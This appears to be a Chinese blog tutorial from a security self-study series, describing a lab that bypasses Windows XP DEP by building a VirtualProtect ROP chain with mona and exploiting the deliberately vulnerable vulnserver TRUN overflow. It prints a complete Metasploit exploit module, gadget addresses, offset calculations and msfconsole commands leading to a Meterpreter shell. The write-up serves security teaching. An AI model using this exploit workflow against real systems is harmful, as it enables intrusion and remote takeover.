这是做者的网络安全自学教程系列,主要是关于安全工具和实践操做的在线笔记,特分享出来与博友们学习,但愿您们喜欢,一块儿进步。前文分享了基于SEH异常处理机制的栈溢出漏洞,利用一个恶意的请求头部(HEAD或GET)引发缓冲区溢出,从而改写SEH链的地址并反弹Shell。本文将讲解DEP堆栈执行保护机制,经过构造ROP链来绕过DEP保护,重点利用VirtualProtect,最终编写漏洞利用脚本并实现自动化攻击。基础性文章,但愿对您有所帮助。php
本文的内容包括:html
做者做为网络安全的小白,分享一些自学基础教程给你们,主要是关于安全工具和实践操做的在线笔记,但愿您们喜欢。同时,更但愿您能与我一块儿操做和进步,后续将深刻学习网络安全和系统安全知识并分享相关实验。总之,但愿该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!若是文章对您有帮助,将是我创做的最大动力,点赞、评论、私聊都可,一块儿加油喔~python
PS:本文参考了安全网站和参考文献中的文章(详见参考文献),并结合本身的经验和实践进行撰写,也推荐你们阅读参考文献。git
软件安全:https://github.com/eastmountyxz/Software-Security-Course/tree/master/6-Windows-Vulnerability
其余工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
基础工具:https://github.com/eastmountyxz/Security-Software-Basedgithub
声明:本人坚定反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络须要咱们共同维护,更推荐你们了解它们背后的原理,更好地进行防御。web
前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登陆加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通讯(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防御
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防护初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防护原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防护原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防护(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提升班之hack the box在线靶场注册及入门知识
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制做(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客经常使用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取正则表达式
前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差别备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包算法
数据执行保护(Data Execution Prevention,DEP)是一套软硬件技术,可以在内存上执行额外检查以帮助防止在系统上运行恶意代码。其基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入Shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。shell
DEP的主要做用是阻止数据页(如默认的堆页、各类堆栈页以及内存池页)执行代码。微软从Windows XP SP2开始提供这种技术支持,根据实现的机制不一样可分为:软件DEP(Software DEP)和硬件DEP(Hardware-enforced DEP)。数据库
因为Windows XP sp3开启了DEP保护,因此咱们要绕过DEP保护才能执行Shellcode,本文采用ROP方式调用VirtualProtect方法绕过DEP。
本实验目的是Kali系统利用Windows XP栈溢出漏洞,以Metasploit溢出bof-server.exe为例,进行攻击及shell反弹。在进行全部实验以前,须要保证虚拟机各系统之间可以相互通讯,安装过程详见以前的文章。
第一步,点击“虚拟机”->“设置”。
第二步,将XP和Kali网络链接属性均勾选成“NAT模式”,而后点击肯定。
第三步,配置后在kali的shell上用ifconfig命令查看主机IP。
第四步,在Windows的命令行中用ipconfig查看主机IP。
同时,主机Win10系统也可以Ping通虚拟机和Kali系统。
bof-server下载地址:Eastmount Github
第一步,在CMD中运行bof-server.exe服务器软件,端口是4242。
bof-server.exe 4242
第二步,为了验证DEP是否开启,我尝试用Python编写1024个A字符串,并发送给XP系统的缓冲区。
python -c "print('A'*1024)" telnet 192.168.44.130 4242
复制1024个字符并发送,以下图所示:
此时,XP系统显示栈溢出漏洞,并提示相关的报错点Offset地址。
第四步,因为DEP已经被关闭(详见第五十三篇博客),这里须要将其打开。
第一种方法,此时显示关闭的,由于以前简单栈溢出实验咱们手动关闭了。右键"个人电脑"->“属性”->“高级”->“性能设置”->“数据执行保存”->选择"为除下列选定程序以外的全部程序和服务启用DEP (U)"->“肯定”。从而打开Windows XP系统的DEP保护。
但此时按钮显示灰色,并提示你修改boot.ini文件。
第五步,点击“启动和故障恢复设置”->“编辑”,而后输入对应的字符变量。
咱们将“noexecute=AlwaysOff”修改成“noexecute=AlwaysOn”,表示开启DEP堆栈执行保护,接着重启电脑。
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=AlwaysOn /fastdetect
第六步,咱们设置完成以后,重启XP系统并再次打开bof-server.exe服务。Kali系统继续发送字符串。
此时XP系统报错以下,它是已经被数据执行保护,而且没法看到偏移位置。
Vulnserver下载地址:Eastmount Github
第一步,设置文件共享,并将文件Vulnserver分享至XP系统。
第二步,以管理员打开命令行CMD,并运行Vulnserver程序。
在Windows XP系统的命令行中切换到vlunserver.exe所在的目录,执行以下命令,监听端口为6666。
vlunserver.exe 6666
第三步,此时Kali系统可以与XP服务器进行通信,经过输入HELP能够查看对应的帮助信息。
telnet 192.168.44.130 6666 HELP
第一步,打开Immunity Debugger软件,依次选择ImmunityDebugger的File->Attach,显示目标机上运行的全部进程。
第二步,选中“vulnserver”软件并点击按钮Attach,显示该进程相关信息。
运行以下图所示:
第三步,此时右下角标记为“Paused”,点击运行Play按钮让其处于“Running”状态。
接着咱们须要使用Immunity Debugger的插件Mona,将Python脚本下载并复制到安装的文件夹下。下载地址:https://github.com/corelan/mona
第四步,将mona.py复制到XP系统目录。
第五步,选中View->Log菜单,在Immunity Debugger命令行下输入以下“!mona modules”命令启动Mona分析DLL文件。
!mona modules
第六步,从输出不少DLL文件中找到msvcrt.dll文件,并导出复制至Kali系统。
第一步,将XP系统的C:\Windows\system32\msvcrt.dll上传到Kali目录下。
注意,做者采用的是百度云网盘在虚拟机、主机之间共享文件,也能够设置共享文件夹。
第二步,使用工具Metasploit的msfrop进行ROP片断提取。
msfconsole msfrop -v -s "pop cex" /root/msvcrt.dll
注意:该部份内容是帮助你们熟悉ROP片断分析功能,后续其余实验会用到。
这是相当重要的步骤,经过查看vulnserver源代码,发现当发送字符串超过3000时会形成栈溢出,这里经过下面的方式计算偏移量。
对应的源代码以下,它也是漏洞点。此处采用的方法是Immunity附加进程后,在服务端发送3000个字符计算偏移。
第一步,从新运行vulnserver服务器。
vulnserver.exe 6666
第二步,在Kali系统中,经过命令生成3000个字符。
msf5 > /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
第三步,打开Immunity Debugger软件,而且选中“vulnserver”服务点击“Attach”,监听运行着的服务。注意,点击运行Play按钮让其处于Running状态。
第四步,经过Kali系统创建远程链接,并调用TRUN指令发送字符串。
telnet 192.168.44.130 6666 HELP TRUN .Aa0........(复制3000个字符)
第五步,回到XP系统,此时的Immunity Debugger软件处于暂停状态,咱们记住EIP值。经过该值来查询对应的Offset。
EIP:396F4338
第六步,经过pattern_offset.rb计算偏移量。
msf5 > /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 396F4338 -l 3000
记住这个偏移量:2006,它将写入咱们的攻击脚本。
接着,咱们须要构建ROP链来调用VirtualProtect()关闭DEP并执行Shellcode。
第一步,咱们从新在CMD中启动vulnserver服务,调用Immunity Debugger软件并处于监听状态。
在ImmunityDebugger命令行输入以下命令:
!mona rop -m *.dll -cp nonull
执行后,须要等待几分钟,会在ImmunityDebugger安装目录下生成一个rop_chains.txt文件。
第二步,打开rop_chains.txt文件,找到以下代码片断。
核心代码片断以下,咱们须要将其复制到Ruby攻击脚本中。
*** [ Ruby ] *** def create_rop_chain() # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x77c10b7f, # POP ECX # RETN [msvcrt.dll] 0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll] 0x77d5373d, # MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll] 0x7c96d192, # XCHG EAX,ESI # RETN [ntdll.dll] 0x75c87aea, # POP EBP # RETN [urlmon.dll] 0x625011af, # & jmp esp [essfunc.dll] 0x7c87f229, # POP EAX # RETN [kernel32.dll] 0xfffffdff, # Value to negate, will become 0x00000201 0x719ec15c, # NEG EAX # RETN [mswsock.dll] 0x7c9259c8, # XCHG EAX,EBX # RETN [ntdll.dll] 0x769e8c83, # POP EAX # RETN [ole32.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x77eba3d7, # NEG EAX # RETN [RPCRT4.dll] 0x7c8409d4, # XCHG EAX,EDX # RETN [kernel32.dll] 0x10012c12, # POP ECX # RETN [USP10.dll] 0x71a15fd2, # &Writable location [WS2HELP.dll] 0x719e4889, # POP EDI # RETN [mswsock.dll] 0x77e6c786, # RETN (ROP NOP) [RPCRT4.dll] 0x76f0c426, # POP EAX # RETN [DNSAPI.dll] 0x90909090, # nop 0x60ff9206, # PUSHAD # RETN [hnetcfg.dll] ].flatten.pack("V*") return rop_gadgets end # Call the ROP chain generator inside the 'exploit' function : rop_chain = create_rop_chain()
第三步,将这段代码拷贝到Github的Ruby攻击脚本中,用于绕过DEP的Metasploit模块,并渗透反弹Shell。
rop_attack.rb源代码:
require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'DEP Bypass Exploit', 'Description' => %q{ DEP Bypass Using ROP Chains Example Module }, 'Platform' => 'Windows', 'Author' => 'yxz', 'Payload' => { 'space' => 312, 'BadChars' => "\x00" }, 'Targets' => [ [ 'Windows XP', {'Offset' => find it} ] ], 'DisclosureDate' => '2020-02-26')) end def create_rop_chain() # rop chain generated with mona.py - www.corelan.be end def exploit connect rop_chain = create_rop_chain() junk = make_nops(target['Offset']) buf = "TRUN ." + junk + rop_chain + make_nops(16) + payload.encoded + '\r\n' sock.put(buf) handler disconnect end end
须要修改两个值,offset对应为2006,def create_rop_chain()函数为咱们从rop_chains.txt文件中复制来的代码。
完整代码:
require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'DEP Bypass Exploit', 'Description' => %q{ DEP Bypass Using ROP Chains Example Module }, 'Platform' => 'Windows', 'Author' => 'yxz', 'Payload' => { 'space' => 312, 'BadChars' => "\x00" }, 'Targets' => [ [ 'Windows XP', {'Offset' => 2006} ] ], 'DisclosureDate' => '2020-02-26')) end def create_rop_chain() # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x77c10b7f, # POP ECX # RETN [msvcrt.dll] 0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll] 0x77d5373d, # MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll] 0x7c96d192, # XCHG EAX,ESI # RETN [ntdll.dll] 0x75c87aea, # POP EBP # RETN [urlmon.dll] 0x625011af, # & jmp esp [essfunc.dll] 0x7c87f229, # POP EAX # RETN [kernel32.dll] 0xfffffdff, # Value to negate, will become 0x00000201 0x719ec15c, # NEG EAX # RETN [mswsock.dll] 0x7c9259c8, # XCHG EAX,EBX # RETN [ntdll.dll] 0x769e8c83, # POP EAX # RETN [ole32.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x77eba3d7, # NEG EAX # RETN [RPCRT4.dll] 0x7c8409d4, # XCHG EAX,EDX # RETN [kernel32.dll] 0x10012c12, # POP ECX # RETN [USP10.dll] 0x71a15fd2, # &Writable location [WS2HELP.dll] 0x719e4889, # POP EDI # RETN [mswsock.dll] 0x77e6c786, # RETN (ROP NOP) [RPCRT4.dll] 0x76f0c426, # POP EAX # RETN [DNSAPI.dll] 0x90909090, # nop 0x60ff9206, # PUSHAD # RETN [hnetcfg.dll] ].flatten.pack("V*") return rop_gadgets end def exploit connect rop_chain = create_rop_chain() junk = make_nops(target['Offset']) buf = "TRUN ." + junk + rop_chain + make_nops(16) + payload.encoded + '\r\n' sock.put(buf) handler disconnect end end
第一步,将rop_attack.rb脚本上传到Kali的/usr/share/metasploit-framework/modules/exploits/windows/meterpreter/目录下。
cp ./rop_attack.rb /usr/share/metasploit-framework/modules/exploits/windows/meterpreter cd /usr/share/metasploit-framework/modules/exploits/windows/meterpreter ls
第二步,运行攻击脚本并拿到了目标服务器的Meterpreter Shell。
第三步,调用exploit命令对栈溢出漏洞进行攻击。再输入ls,能够看到咱们目标XP服务器的E盘内容已经被提权,这就是所谓的Windows漏洞利用。
上面“ls”命令对应的内容即为XP系统E盘的文件,以下图所示。
咱们在执行这些操做过程当中,XP系统的服务须要一直运行,处于监听状态。某些状况可能会提示错误“Exploit completed, but no session was created”,建议你们在目标机上多运行几回服务和在Kali上多运行几回exploit,直到成功拿到Meterpreter Shell。
总结:本实验经过构建ROP链成功绕狗DEP保护,最终拿到Shell。
文章写到这里,就介绍完毕,但愿文章对您有所帮助,尤为是文章扩展的几个工具,您下来也能够详细学习。这篇文章主要讲解了若是搭建XP和Kali环境,经过构造ROP链来绕过DEP保护,重点利用VirtualProtect,最终编写漏洞利用脚本并实现自动化攻击反弹Shell。该绕过DEP栈溢出的具体流程包括:
虽然是很是基础的一篇文章,但但愿读者阅读并完成文章的实验。接下来做者将继续学习并分享更多的Windows漏洞利用或网络安全的文章。最后给出相关的命令。
Kali系统:
telnet 192.168.44.130 6666 msfconsole msfrop -v -s "pop cex" ./msvcrt.dll /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 396F4338 -l 3000 cp ./rop_attack.rb /usr/share/metasploit-framework/modules/exploits/windows/meterpreter cd /usr/share/metasploit-framework/modules/exploits/windows/meterpreter msfconsole use exploit/windows/meterpreter/rop_attack.rb set RHOSTS 192.168.44.130 set RPORT 6666 show options exploit ipconfig ls
Windows系统:
vulnserver.exe 6666 !mona modules !mona rop -m *.dll -cp nonull
但愿这系列文章对您有所帮助,真的感受本身技术好菜,要学的知识好多。这是第54篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,做为初学者,本身真是爬着前行,感谢不少人的帮助,继续爬着,继续加油!
欢迎你们讨论,是否以为这系列文章帮助到您!若是存在不足之处,还请海涵。任何建议均可以评论告知读者,共勉~
武汉加油!湖北加油!中国加油!!!
(By:Eastmount 2020-03-03 凌晨1点写于贵阳 http://blog.csdn.net/eastmount )
参考文献:
[1]《软件安全》课程Windows漏洞利用实验 YH师弟
[2] https://github.com/corelan/mona
[3] Windows漏洞利用系列软件 - Eastmount
[4] DEP原理及关闭 - 淡淡的琉璃
[5] 渗透之——使用Metasploit编写绕过DEP渗透模块 - 冰河大神
[6] Rop实战之利用VirtualProtect绕过DEP - 五千年木
[7] 利用ROP链突破DEP保护机制 - Puzzor
[8] 利用 ROP 技术绕过 DEP 保护的一次简单尝试 - 墨鱼菜鸡